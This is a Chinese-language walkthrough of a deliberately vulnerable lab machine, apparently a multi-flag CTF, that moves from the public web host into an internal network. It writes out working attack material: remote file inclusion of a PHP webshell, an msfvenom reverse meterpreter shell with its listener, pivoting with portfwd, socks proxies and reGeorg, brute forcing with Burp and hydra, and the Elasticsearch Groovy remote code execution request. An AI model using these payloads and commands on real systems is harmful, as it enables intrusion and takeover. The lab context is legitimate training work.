参考文章:https://blog.csdn.net/shuteer_xu/article/details/105549120
由于参考了这篇文章,所以前期使用kali做的,但是后面可能由于自身原因,达不到和他一样的效果,所以用了windows的reGeorg进行代理(后面会知道),其实可以全程在windows下操作。
环境:虚拟机采用桥接模式
靶机ip:192.168.0.106(还有一个内网ip)
内网ip段:172.17.0.0/24
kali:192.168.0.113
真机:这个ip没有用到
目录
一、获取公网主机权限(获取第一个flag)
二、渗透内网web服务器(获取第二个flag)
三、爆破内网SSH服务器用户和密码(获取第三个flag)
四、渗透内网聊天服务器(获取第四个flag)
五、内网渗透Elasticsearch服务(获取第五个flag)
六、总结
1、在virtualbox导入虚拟机并打开,开启的时候可能会提示错误,在设置里面把usb设备禁用就行了
2、使用kali扫描发现主机ip
netdiscover -r 192.168.0.0/24
3、扫描目标主机的开放端口
nmap 192.168.0.6
由于我这里是靶机,只想获取端口,所以没加参数,想获取详细信息,可以加上-A参数,其他参数可自行百度
4、发现8000端口,直接浏览器访问,这里提示说要开始任务就得先输入flag{start},然后提交
5、输入flag{start}提交之后,得到下一步提示,访问80端口
6、访问80端口,点击 Blog POST 1 一下,发现url有点可疑,像是有文件包含漏洞。
7、尝试本地文件包含/etc/passwd,成功读取文件内容。
8、尝试包含远程文件,在kali上开启apache服务,输入
service apache2 start
启动服务,然后根目录是在/var/www/html下,默认端口是80,在其下面放入一句话木马文件shell.txt,后缀名不能使用php,之前记得做一个靶机,使用curl命令的时候,下载php-reverse-shell.php,得到的内容不是php代码,而是相当于浏览器的访问结果保存下来,所以这里使用txt格式
9、文件包含执行php代码测试是否可行,发现成功执行
http://192.168.0.106/?file=http://192.168.0.113/shell.txt&a=phpinfo();
10、接下来就上神器--菜刀直接连接
11、进入根目录下那个第一个flag
flag{the_game_is_on}
12、在8000端口下提交flag,获取下一步提示,说有一个内部图片数据库站点,也就是web服务器,需要对内网进行扫描,扫描开放80端口的内网主机。
到了这里有三种方法可以进行操作
方法一:使用kali在meterpreter下使用portfwd命令进行端口转发,windows+kali
1、在kali下生成用于反弹的payload文件
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.0.113 lport=8888 -f elf > shell.elf
2、在kali上使用msf开始监听
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.113
set lport 8888
run
3、将生成shell.elf文件拖到真机上,使用菜刀上传到/tmp目录,这个目录一般对任何用户都有可读可写可执行权限,打开虚拟终端,给这个文件执行权限(直接777最高权限),运行
4、kali成功接收到反弹的shell,可以使用ifconfig命令查看到它的内网地址为172.17.0.3
5、使用命令
run autoroute -s 172.17.0.0/24
创建路由,background命令将会话退到后台,然后使用route命令查看添加的路由
172.17.0.0/24网段的流量将会流向session 1,但是这个只能在msf里面起作用
6、使用msf的扫描模块扫描开放80端口的内网主机
use auxiliary/scanner/portscan/tcp
set rhosts 172.17.0.0/24
set ports 80
run
7、扫描完成后发现有三台主机开放80端口
172.17.0.1--->应该是网关
172.17.0.3--->靶机
172.17.0.4--->要攻击的主机
8、sessions -i 1进入我们刚刚接收到的shell,使用命令
portfwd add -L 192.168.0.113 -l 2424 -p 80 -r 172.17.0.4
将本地的2424端口转发到172.17.0.4的80端口
下面这几步如果kali卡的话,都可以在真机上做
9、直接浏览器访问192.168.0.2424,发现是一个文件上传页面,但是上传需要密码
10、选择一句话木马文件shell.php,密码随便输,开启burpsuit抓包,使用top100密码字典进行爆破
发现密码为password的时候length不一样,所以我们在浏览器使用密码password成功上传shell.php文件,并且处于登录状态
10、测试木马能否利用,点击shell.php获取路径,加上参数,发现成功利用
11、二话不说,上菜刀
12、得到第二个flag,提交获取下一步提示
flag{picture_is_worth_1000_words}
方法二:前5步是一样的,这里是纯kali操作
6、使用socks4a代理
use auxiliary/server/socks4a
set SRVHOST 192.168.0.113
run
7、使用proxychains工具(kali自带)进行代理,编辑配置文件
leafpad /etc/proxychains.conf
在最后一行加上
socks4 192.168.0.113 1080
8、扫描端口
proxychains nmap 172.17.0.0/24 -sV -sT -Pn -T4 -p80
扫描的结果是一样的,也是172.17.0.4
9、浏览器设置socks4代理,访问172.17.0.4
10、打开burpsuit配置代理
到这一步的时候发现这波代理访问不到,于是上网搜索发现使用auxiliary/server/socks4a做代理时,burpsuite不支持socks4a代理,导致无法使用burp去抓包,但是我使用socks5做代理时proxychains都不行,所以这里就卡住了,有兴趣的可以去研究一下这篇解决的文章。
方法三:使用reGeorg+proxifier,纯windows操作
1、这里是不需要反弹shell的,所以跟前面的方法不同,上传下载的reGeorg文件夹下的tunnel.nosocket.php脚本文件(因为这个网站是php环境搭建,然后上传tunnel.php文件访问时会是500错误)
2、访问时出现 Georg says, 'All seems fine' 即为成功
3、现在执行python脚本
python reGeorgSocksProxy.py -u http://192.168.0.106/tunnel.nosocket.php -p 9999(本地端口)
4、配置proxifier
配置文件->代理服务器->编辑
配置文件->代理规则
5、访问172.17.0.4(这个ip地址可以使用windows的zenmap工具进行扫描发现)
6、使用burp进行socks代理进行抓包爆破
burpsuit配置
网站配置代理服务器:127.0.0.1 端口8080
访问172.17.0.4,抓包成功,并且能够得到响应
后面的步骤就和方法一一样了,爆破密码,上传shell,菜刀连接,得到flag
最后,提交flag,获取下一步提示,给了几个用户名和密码的hash值,密码拿去网站解密
63a9f0ea7bb98050796b649e85481845 root
7b24afc8bc80e548d66c4e7ff72171c5 toor
5f4dcc3b5aa765d61d8327deb882cf99 password
21232f297a57a5a743894a0e4a801fc3 admin
084e0343a0486ff05530df6c705c8bb4 guest
697c6cc76fdbde5baccb7b3400391e30 MORIARTY
8839cfc8a0f24eb155ae3f7f205f5cbc MCORP
35ac704fe1cc7807c914af478f20fd35 mcorp
b27a803ed346fbbf6d2e2eb88df1c51b weapons
08552d48aa6d6d9c05dd67f1b4ba8747 moriarty
1、主机发现,找寻开放22端口开放的主机,kali,windows都行,但是使用windows的时候,上面的代理是不能关的,为了方便,这里都选用kali,成功找到是172.17.0.5
proxychains nmap 172.17.0.0/24 -sV -sT -Pn -T4 -p22
2、爆破工具选用hydra(kali自带),现在本地新建一个用户名文件:user.txt,密码文件:pass.txt,使用命令
proxychains hydra -L user.txt -P pass.txt ssh://172.17.0.5 -t 4
-t:设置并发数
不能太高
成功得到用户名:root,密码:weapons
3、ssh到目标主机,我使用命令
proxychains ssh [email protected]
只成功了一次,后来再试就是没有反应了,于是到windows上使用另外一款神器MobaXterm设置代理进行ssh
4、MobaXterm配置
5、使用root/weapons成功登录
6、得到第三个flag
flag{what_weapons}
7、提交flag,获取下一步提示,有一个聊天网站不在80端口,可能在443,8000,8080,8888端口上面,然后还有一个用户名和密码:buyer13/arms13,然后需要我们获取管理员账户的聊天记录
1、在kali进行扫描,找到172.17.0.6开放8000端口
proxychains nmap 172.17.0.0/24 -sV -sT -Pn -T4 -p443,8000,8080,8888
2、访问172.17.0.6:8000,发现需要登录
3、使用之前给的buyer13/arms13成功登录,发现一个chats和一个change password,猜测应该是越权修改admin的密码,然后查看admin的chats内容
4、点击change password
5、启用burpsuit抓包,输入123,点击change,成功抓到包
6、修改buyer13为admin
7、测试是否成功,刷新页面,burpsuit抓包,删除认证信息,需要重新登录
这里也可以不删除而直接认证,因为Basic后面的内容像是base64编码,使用burpsuit的decoder模块解密
于是我们可以将admin:123进行base64编码然后修改原来的base64的值也可以成功登陆
但是这个每次刷新都需要修改
8、使用admin/123成功登录,查看chats内容,得到第四个flag
flag{on_the_move}
9、提交flag,获取下一步提示,发现说有一台主机上面运行着Elasticsearch服务
1、百度之后发现该服务是运行在9200端口,扫描主机,发现172.17.0.7主机开放端口9200
proxychains nmap 172.17.0.0/24 -sV -sT -Pn -T4 -p9200
2、访问成功
3、本地的poc是python文件,但是我没有利用成功,于是百度手工利用的方法,先使用下面数据包创建一条数据,参考博客:https://www.cnblogs.com/gendan5/p/11589420.html
POST /mitian/mitian6/ HTTP/1.1
Host: 172.17.0.7:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
{ "name": "kjsx"}
4、使用下面的数据包进行任意命令执行,参考博客:https://www.cnblogs.com/sallyzhang/p/12468669.html
POST /_search?pretty HTTP/1.1
Host: 172.17.0.7:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 168
{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat 6_flag.txt\").getText()"}}}
5、成功执行
6、将ls修改成cat 6_flag.txt,成功获取第五个flag
flag{game_over}
7、提交flag的提示,感谢之后被拉入黑名单了,下面的游戏进度条也满了
1、这个靶机下载花了不少功夫,然后后来这文件又损坏了,还是叫朋友帮我下的
2、这个靶机每次休眠或者关机之后就不行了,得重新导入
3、跟着那个参考博客做的时候遇到了很多问题,所以后来只能自己百度另外的内网渗透方法
4、这个最后的flag文件名是6_flag.txt,按照取名字的规律,应该有6个flag,算上flag{start}确实是6个flag,但是他最开始的文件名又是1_flag.txt,所以感觉这算是个小bug,这强迫症能忍?
5、收获满满,有问题可以找我